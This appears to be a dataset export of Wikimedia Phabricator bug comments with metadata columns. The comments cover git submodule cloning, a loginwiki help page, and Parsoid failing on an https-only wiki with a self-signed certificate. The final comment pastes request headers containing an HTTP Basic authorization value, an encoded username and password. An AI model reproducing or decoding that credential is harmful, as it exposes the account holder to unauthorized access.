I tried this with scripts/i18n, and fnfortunately TortoiseSVN doesnt appear to handle the external switching to be a normal directory in the repository.  it complains there is a conflict, and then doesnt update scripts/i18n to use the files now located in the repository.",,,1438435837,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_subcomment,,True,c3,3,True,,,4,True,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,9.0,10.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,10.0,3.0,7.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,10.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,4.172413793103448,0.7068965517241379,"QUOTE
QUOTE

I tried this with scripts/i18n, and fnfortunately TortoiseSVN doesnt appear to handle the external switching to be a normal directory in the repository.  it complains there is a conflict, and then doesnt update scripts/i18n to use the files now located in the repository."
470272,Recursive clone over ssh uses https for submodules,"After doing a bit more reading, I am pretty confident that [[https://makingsoftware.wordpress.com/2013/02/16/using-git-subtrees-for-repository-separation/| git subtree]] will solve this.  Now need to check what happens when switching from submodules to subtrees does to svn checkouts.",,,1433597372,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,2.0,10.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,15.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,5.0,2.0,0.0,5.0,3.926829268292683,0.8780487804878049,"After doing a bit more reading, I am pretty confident that [[URL git subtree]] will solve this.  Now need to check what happens when switching from submodules to subtrees does to svn checkouts."
469615,Recursive clone over ssh uses https for submodules,"Im not sure, but this might be solvable with git subtree instead of git submodule.",,,1433472380,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,6.0,11.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,22.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7777777777777777,0.9444444444444444,"Im not sure, but this might be solvable with git subtree instead of git submodule."
271561,Recursive clone over ssh uses https for submodules,"While it cloned the submodules over https, the clone recursive worked for me, so I have updated the bug summary to reflect this.

The ""error: SSL certificate problem: self signed certificate in certificate chain while accessing ..."" doesnt appear in my output, so something has radically changed since October 2013, which is probably masking this bug.  Either the certificate has been changed, or this problem only existed in an earlier git version.

$ git clone --recursive ssh://jayvdb@gerrit.wikimedia.org:29418/pywikibot/core.git
Cloning into 'core'...
remote: Counting objects: 2792, done
remote: Finding sources: 100% (2373/2373)
remote: Getting sizes: 100% (710/710)
remote: Compressing objects: 100% (5777484/5777484)
remote: Total 16923 (delta 1184), reused 16381 (delta 1136)
Receiving objects: 100% (16923/16923), 27.47 MiB | 1.12 MiB/s, done.
Resolving deltas: 100% (11100/11100), done.
Checking connectivity... done.
Submodule 'externals/httplib2' (https://gerrit.wikimedia.org/r/p/pywikibot/externals/httplib2.git) registered for path 'externals/httplib2'
Submodule 'i18n' (https://gerrit.wikimedia.org/r/p/pywikibot/i18n.git) registered for path 'scripts/i18n'
Cloning into 'externals/httplib2'...
remote: Counting objects: 1035, done
remote: Finding sources: 100% (202/202)
remote: Getting sizes: 100% (29/29)
remote: Compressing objects: 100% (306895/306895)
remote: Total 1902 (delta 34), reused 1887 (delta 32)
Receiving objects: 100% (1902/1902), 3.88 MiB | 233.00 KiB/s, done.
Resolving deltas: 100% (946/946), done.
Checking connectivity... done.
Submodule path 'externals/httplib2': checked out '5dc145682eb726bd54eaf7e9f940844ca234db71'
Cloning into 'scripts/i18n'...
remote: Counting objects: 192, done
remote: Finding sources: 100% (171/171)
remote: Getting sizes: 100% (52/52)
remote: Compressing objects: 100% (1291342/1291342)
remote: Total 2802 (delta 113), reused 2759 (delta 110)
Receiving objects: 100% (2802/2802), 12.82 MiB | 664.00 KiB/s, done.
Resolving deltas: 100% (2216/2216), done.
Checking connectivity... done.
Submodule path 'scripts/i18n': checked out 'ab431d98501bc229c933ee931ce0d7f2c1e2d46c'",,,1406247361,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_subcomment,,True,c3,1,True,,,-49,True,0.0,0.2,0.0,0.2,0.0,1.4,0.0,0.0,0.0,0.0,0.6,4.4,0.0,0.2,0.0,0.6,0.6,1.2,3.2,0.2,0.2,0.0,0.6,0.4,1.4,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.8,0.2,1.8,0.0,0.2,0.2,1.0,0.6,0.0,0.0,0.2,0.8,0.0,0.0,0.0,0.0,0.0,21.0,0.2,0.4,0.2,0.0,0.0,0.4,0.0,0.6,0.0,0.0,0.0,0.6,0.0,0.2,0.0,0.0,0.0,1.2,0.4,9.2,0.6,0.6,2.0,0.0,0.0,0.0,0.0,0.4,0.0,9.8,0.0,0.8,3.2,5.2,0.0,4.8,0.0,0.8,0.0,0.2,0.2,0.2,2.8,0.2,0.0,0.0,3.8776481354381147,0.5253260123541523,"While it cloned the submodules over https, the clone recursive worked for me, so I have updated the bug summary to reflect this.

The ""error: SSL certificate problem: self signed certificate in certificate chain while accessing ..."" doesnt appear in my output, so something has radically changed since October 2013, which is probably masking this bug.  Either the certificate has been changed, or this problem only existed in an earlier git version.

$ git clone --recursive ssh://jayvdb@gerrit.wikimedia.org:29418/pywikibot/core.git
Cloning into 'core'...
remote: Counting objects: 2792, done
remote: Finding sources: 100% (2373/2373)
remote: Getting sizes: 100% (710/710)
remote: Compressing objects: 100% (5777484/5777484)
remote: Total 16923 (delta 1184), reused 16381 (delta 1136)
Receiving objects: 100% (16923/16923), 27.47 MiB | 1.12 MiB/s, done.
Resolving deltas: 100% (11100/11100), done.
Checking connectivity... done.
Submodule 'externals/httplib2' (URL registered for path 'externals/httplib2'
Submodule 'i18n' (URL registered for path 'scripts/i18n'
Cloning into 'externals/httplib2'...
remote: Counting objects: 1035, done
remote: Finding sources: 100% (202/202)
remote: Getting sizes: 100% (29/29)
remote: Compressing objects: 100% (306895/306895)
remote: Total 1902 (delta 34), reused 1887 (delta 32)
Receiving objects: 100% (1902/1902), 3.88 MiB | 233.00 KiB/s, done.
Resolving deltas: 100% (946/946), done.
Checking connectivity... done.
Submodule path 'externals/httplib2': checked out '5dc145682eb726bd54eaf7e9f940844ca234db71'
Cloning into 'scripts/i18n'...
remote: Counting objects: 192, done
remote: Finding sources: 100% (171/171)
remote: Getting sizes: 100% (52/52)
remote: Compressing objects: 100% (1291342/1291342)
remote: Total 2802 (delta 113), reused 2759 (delta 110)
Receiving objects: 100% (2802/2802), 12.82 MiB | 664.00 KiB/s, done.
Resolving deltas: 100% (2216/2216), done.
Checking connectivity... done.
Submodule path 'scripts/i18n': checked out 'ab431d98501bc229c933ee931ce0d7f2c1e2d46c'"
271554,Recursive clone over ssh uses https for submodules,"Basically, there are two options:
1) an absolute externals path, which always overrules the initial clone url -- this can be a problem for people who cannot clone over https.
2) a relative externals path, which breaks for people cloning from e.g. github, where the urls are not /pywikibot/externals/httplib2 but pywikibot-externals-httplib2

Would it help if we switch to git:// instead of https://?",,,1381580507,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_subcomment,,True,c3,1,True,,,-90,True,0.0,0.0,0.0,0.0,2.0,4.0,1.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,1.0,6.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,21.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,6.0,4.0,4.0,2.0,1.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,4.0,9.0,1.0,0.0,0.0,0.0,4.0,0.0,5.0,4.0,0.0,1.0,0.0,0.0,2.0,4.085365853658536,0.7439024390243902,"Basically, there are two options:
1) an absolute externals path, which always overrules the initial clone url -- this can be a problem for people who cannot clone over https.
2) a relative externals path, which breaks for people cloning from e.g. github, where the urls are not /pywikibot/externals/httplib2 but pywikibot-externals-httplib2

Would it help if we switch to git:// instead of URL"
57425,Add Help:Logging_in to loginwiki,"Add the login help page, so the login form doesn't have a redlink

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement",Medium,50.0,1381166760,1512836797.0,PHID-USER-doeppszazlm3r7xah4il,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-wso2tqfh6bhum3gedy7u,task_description,resolved,True,c3,1,True,False,False,-91,True,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.8,0.6857142857142857,"Add the login help page, so the login form doesn't have a redlink

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement"
979162,Add Help:Logging_in to loginwiki,"https://login.wikimedia.org/w/index.php?title=Special:UserLogin links to ""Help with logging in"" at https://www.mediawiki.org/wiki/Special:MyLanguage/Help:Logging_in

Not sure how and when that got fixed, but closing task as resolved.",,,1512836797,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-wso2tqfh6bhum3gedy7u,task_subcomment,,True,c3,3,True,,,127,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,19.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,7.0,7.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,3.3703703703703702,0.9259259259259259,"URL links to ""Help with logging in"" at URL

Not sure how and when that got fixed, but closing task as resolved."
257844,Add Help:Logging_in to loginwiki,"I think so, except link the other help pages in the ""Why log in?"" section to either mw.o or meta, so we don't have to keep creating more and more Help pages.",,,1381246047,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-wso2tqfh6bhum3gedy7u,task_subcomment,,True,c3,1,True,,,-91,True,0.0,0.0,0.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,5.0,0.0,10.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,8.0,5.0,8.0,5.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,5.0,13.0,0.0,3.0,5.0,0.0,5.0,0.0,3.0,0.0,0.0,3.0,5.0,0.0,0.0,3.230769230769231,0.7948717948717948,"I think so, except link the other help pages in the ""Why log in?"" section to either mw.o or meta, so we don't have to keep creating more and more Help pages."
257837,Add Help:Logging_in to loginwiki,Do we just want https://www.mediawiki.org/wiki/Help:Logging_in importing?,,,1381244239,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-wso2tqfh6bhum3gedy7u,task_subcomment,,True,c3,1,True,,,-91,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,1.0,Do we just want URL importing?
57369,Parsoid cannot connect to https-only host?,"Hi
When I run parsoid linked to a wiki which is https only, it doesn't work. This can be reproduced in any installation.

I set port 80 to be a redirect to port 443, and the parsoid URL is https://wiki.name/api.php in localsettings.js

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1381073520,1428267398.0,PHID-USER-vj2bbc63joi46qr5a5nq,False,PHID-USER-gxcjmjpejlhfnrquksm2,False,PHID-TASK-xya74ryevlevdpyqmth6,task_description,resolved,True,c3,1,False,False,True,-91,True,1.0,0.0,0.0,1.0,1.0,3.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,3.0,0.0,4.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,6.0,13.0,1.0,1.0,9.0,0.0,0.0,0.0,0.0,4.0,1.0,3.0,0.0,4.0,7.0,1.0,0.0,0.0,0.0,4.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.7313432835820897,0.6567164179104478,"Hi
When I run parsoid linked to a wiki which is https only, it doesn't work. This can be reproduced in any installation.

I set port 80 to be a redirect to port 443, and the parsoid URL is URL in localsettings.js

--------------------------
**Version**: unspecified
**Severity**: enhancement"
438683,Parsoid cannot connect to https-only host?,"Shall we close this? I know that VE functions happily on wikitech.wikimedia.org now, which always uses HTTPS.",,,1428265426,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c3,1,True,,,-13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,15.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,10.0,10.0,5.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.65,1.0,"Shall we close this? I know that VE functions happily on wikitech.wikimedia.org now, which always uses HTTPS."
277835,Parsoid cannot connect to https-only host?,"I wanted to update this bug with my findings. I now have 1.23wmf7 and the latest builds of Parsoid and VisualEditor working happily with SSL as the default (and forced) connection method for users.

In my LocalSettings.php I have the following:

//Hook it up to Parsoid
$wgVisualEditorParsoidURL = 'http://my.site.com:8000';
 
$wgVisualEditorParsoidPrefix = 'localhost';


In localsettings.js I have:

parsoidConfig.setInterwiki('localhost' , 'http://my.site.com:81/w/api.php');

You can see that we're directing traffic over port 81 to allow Parsoid access.

The issue I was experiencing related to saving a page was due to having an older version (pre 1.9) of Semantic MediaWiki installed with 1.23.",,,1388082421,,PHID-USER-xd3dshn3ykvvbsxmqbg6,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c3,1,False,,,-79,True,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,2.0,4.5,0.0,0.0,0.0,5.0,1.0,1.0,11.0,0.0,1.5,0.0,0.0,0.0,2.0,0.5,0.0,0.0,1.0,0.0,0.5,2.5,1.0,0.5,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,1.5,0.0,1.0,0.0,0.0,1.0,12.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.5,12.5,1.0,1.5,4.5,0.0,0.0,0.0,0.0,2.5,0.0,3.0,0.0,6.0,11.0,6.0,0.0,3.5,0.0,6.0,0.0,0.0,1.5,0.0,3.5,1.0,0.5,0.0,4.471070148489503,0.8003072196620584,"I wanted to update this bug with my findings. I now have 1.23wmf7 and the latest builds of Parsoid and VisualEditor working happily with SSL as the default (and forced) connection method for users.

In my LocalSettings.php I have the following:

//Hook it up to Parsoid
$wgVisualEditorParsoidURL = 'URL
 
$wgVisualEditorParsoidPrefix = 'localhost';


In localsettings.js I have:

parsoidConfig.setInterwiki('localhost' , 'URL

You can see that we're directing traffic over port 81 to allow Parsoid access.

The issue I was experiencing related to saving a page was due to having an older version (pre 1.9) of Semantic MediaWiki installed with 1.23."
277829,Parsoid cannot connect to https-only host?,"I've followed the troubleshooting guide and I'm still having issues connecting to a https-only host.

From the server I can run the following with success:

curl http://my.site.com:81/w/api.php

I opened port 81 to allow for http access to the api endpoint.

However I cannot seem to connect to Parsoid, the app in question. 

curl http://my.site.com:8000 returns the human-readable landing page for the Parsoid web service.

curl http://my.site.com:8000/localhost/Introduction

returns no message via the command line.

I can start Parsoid via node server.js

I can launch VisualEditor and edit a page normally, everything works.

server.js spits out the following:

starting parsing of localhost:Introduction
completed parsing of localhost:Introduction in 1660 ms

As soon as I go to save an edit, a small note appears under the Summary box.

Error: Unknown error.

server.js reports nothing


While Parsoid is running (node server.js) and I attempt the following

curl http://my.site.com:8000/localhost/Introduction

I see the message:

starting parsing of localhost:Introduction
redirected localhost:Introduction to revision 62067",,,1387213772,,PHID-USER-xd3dshn3ykvvbsxmqbg6,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c3,1,False,,,-81,True,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,2.0,0.0,0.0,0.0,0.0,2.0,0.6666666666666666,0.0,0.3333333333333333,0.0,3.6666666666666665,0.6666666666666666,2.3333333333333335,8.333333333333334,0.6666666666666666,1.6666666666666667,0.0,1.0,0.0,0.6666666666666666,0.0,0.0,0.0,1.3333333333333333,0.0,0.3333333333333333,5.333333333333333,1.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,6.0,0.3333333333333333,11.666666666666666,0.3333333333333333,1.0,6.333333333333333,0.0,0.0,0.0,0.0,3.3333333333333335,0.0,1.0,0.0,3.6666666666666665,8.333333333333334,5.666666666666667,0.0,0.0,0.0,3.6666666666666665,0.0,0.0,1.6666666666666667,0.0,3.3333333333333335,0.0,0.0,0.0,4.155624568668046,0.7115942028985508,"I've followed the troubleshooting guide and I'm still having issues connecting to a https-only host.

From the server I can run the following with success:

curl URL

I opened port 81 to allow for http access to the api endpoint.

However I cannot seem to connect to Parsoid, the app in question. 

curl URL returns the human-readable landing page for the Parsoid web service.

curl URL

returns no message via the command line.

I can start Parsoid via node server.js

I can launch VisualEditor and edit a page normally, everything works.

server.js spits out the following:

starting parsing of localhost:Introduction
completed parsing of localhost:Introduction in 1660 ms

As soon as I go to save an edit, a small note appears under the Summary box.

Error: Unknown error.

server.js reports nothing


While Parsoid is running (node server.js) and I attempt the following

curl URL

I see the message:

starting parsing of localhost:Introduction
redirected localhost:Introduction to revision 62067"
277820,Parsoid cannot connect to https-only host?,"I know it works, it's a workaround. I am hosting the site in a CentOS server, but despite the research I have done some time ago I couldn't install the certificate in the system root, so neither PHP and node.js see the certificate. 

I will try again now. Is there any documentation you know about this? (sorry if it's off-topic)",,,1386278143,,PHID-USER-vj2bbc63joi46qr5a5nq,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c3,1,False,,,-82,True,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,1.0,7.0,0.0,7.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,12.0,4.0,4.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,9.0,3.0,11.0,4.0,4.0,13.0,0.0,0.0,0.0,0.0,3.0,1.0,1.0,0.0,12.0,9.0,1.0,1.0,0.0,0.0,12.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,3.6,0.7466666666666667,"I know it works, it's a workaround. I am hosting the site in a CentOS server, but despite the research I have done some time ago I couldn't install the certificate in the system root, so neither PHP and node.js see the certificate. 

I will try again now. Is there any documentation you know about this? (sorry if it's off-topic)"
277811,Parsoid cannot connect to https-only host?,"(In reply to comment #8)
> I am sorry, I can't pay for a real certificate. Is there a way to add my root
> certificate to Parsoid? Does it use the system certificates?
> 
> Or as a workaround, is there a way to permit self-signed authorities?

Your wiki actually works by setting the API URL to http://wiki.mc128k.info/api.php.

Nodejs uses openssl, so I'm guessing that you can install additional CA certs in /etc/ssl/certs/ (assuming you are using Debian).",,,1386277852,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c3,1,True,,,-82,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,4.0,0.0,4.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,23.0,4.0,0.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,7.0,12.0,14.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.543859649122807,0.7894736842105263,"(In reply to comment #8)
QUOTE
QUOTE
QUOTE
QUOTE

Your wiki actually works by setting the API URL to URL

Nodejs uses openssl, so I'm guessing that you can install additional CA certs in /etc/ssl/certs/ (assuming you are using Debian)."
277803,Parsoid cannot connect to https-only host?,"I am sorry, I can't pay for a real certificate. Is there a way to add my root certificate to Parsoid? Does it use the system certificates?

Or as a workaround, is there a way to permit self-signed authorities?

Thanks.",,,1386273347,,PHID-USER-vj2bbc63joi46qr5a5nq,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c3,1,False,,,-82,True,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,4.0,6.0,0.0,2.0,10.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,6.0,13.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,10.0,2.0,6.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.480769230769231,0.7307692307692307,"I am sorry, I can't pay for a real certificate. Is there a way to add my root certificate to Parsoid? Does it use the system certificates?

Or as a workaround, is there a way to permit self-signed authorities?

Thanks."
277794,Parsoid cannot connect to https-only host?,"Parsoid is only using HTTP, so trying to connect to it via HTTPS is going to fail. It can connect to MediaWiki using HTTPS though when configured to do so in localsetting.js. Please check the steps in https://www.mediawiki.org/wiki/Parsoid/Troubleshooting to make sure Parsoid is working.

> https://wiki.mc128k.info

Your SSL cert does not seem to be signed by a trusted CA, which likely explains your issue. Try with a signed SSL cert.",,,1386270337,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c3,1,True,,,-82,True,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,9.0,15.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,6.0,1.0,3.0,1.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0,5.0,19.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,12.0,1.0,1.0,0.0,5.0,15.0,12.0,0.0,0.0,0.0,5.0,0.0,3.0,3.0,0.0,6.0,0.0,0.0,0.0,3.8333333333333335,0.6923076923076923,"Parsoid is only using HTTP, so trying to connect to it via HTTPS is going to fail. It can connect to MediaWiki using HTTPS though when configured to do so in localsetting.js. Please check the steps in URL to make sure Parsoid is working.

QUOTE

Your SSL cert does not seem to be signed by a trusted CA, which likely explains your issue. Try with a signed SSL cert."
277787,Parsoid cannot connect to https-only host?,"Addition:
Changing $wgVisualEditorParsoidURL to 'https://my.wiki.com:8000'; results in a different error.

Error loading data from server: parsoidserver-http-curl-error: SSL connect error. Would you like to retry?


Headers below:

Start request POST /w/api.php
HTTP HEADERS:
HOST: my.wiki.com
CONNECTION: keep-alive
CONTENT-LENGTH: 60
AUTHORIZATION: Basic bWVtY2FjadGU6cGFzc3dvcmQ=
ACCEPT: application/json, text/javascript, */*; q=0.01
ORIGIN: https://my.wiki.com
X-REQUESTED-WITH: XMLHttpRequest
USER-AGENT: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36
CONTENT-TYPE: application/x-www-form-urlencoded; charset=UTF-8
REFERER: https://my.wiki.com/w/index.php?title=Main_Page&veaction=edit
ACCEPT-ENCODING: gzip,deflate,sdch
ACCEPT-LANGUAGE: en-US,en;q=0.8
